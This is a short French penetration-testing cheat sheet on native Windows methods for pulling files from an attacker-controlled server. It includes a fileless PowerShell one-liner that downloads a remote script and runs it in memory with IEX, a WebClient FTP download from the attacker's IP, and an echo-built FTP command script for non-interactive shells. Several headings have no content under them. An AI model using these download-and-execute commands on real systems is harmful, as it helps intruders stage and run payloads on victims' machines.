Télécharger depuis Windows
Méthodes natives Windows pour télécharger un fichier depuis un serveur attaquant : certutil, bitsadmin, PowerShell, Invoke-WebRequest, ainsi que la technique du transfert en base64 via le presse-papier quand aucune connexion réseau directe n'est possible.
Envoie de fichier en base64¶
Télécharger un fichier en powershell¶
Télécharger un fichier en mémoire et l'exécuter (fileless)¶
IEX (New-Object Net.WebClient).DownloadString('$Url_Script.ps1')
ou
(New-Object Net.WebClient).DownloadString('$Url_Script.ps1') | IEX
Télécharger un fichier via Invoke-WebRequest (ou un de ses Alias: wget, curl, iwr)¶
Bypasser un certificat untrusted¶
Réception d'un fichier via création d'un partage SMB¶
Réception d'un fichier via création d'un serveur FTP¶
(New-Object Net.WebClient).DownloadFile('ftp://$monIp/file.txt', 'ftp-file.txt')
Ou, en cas de shell non-interractif:
echo open $monIp > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt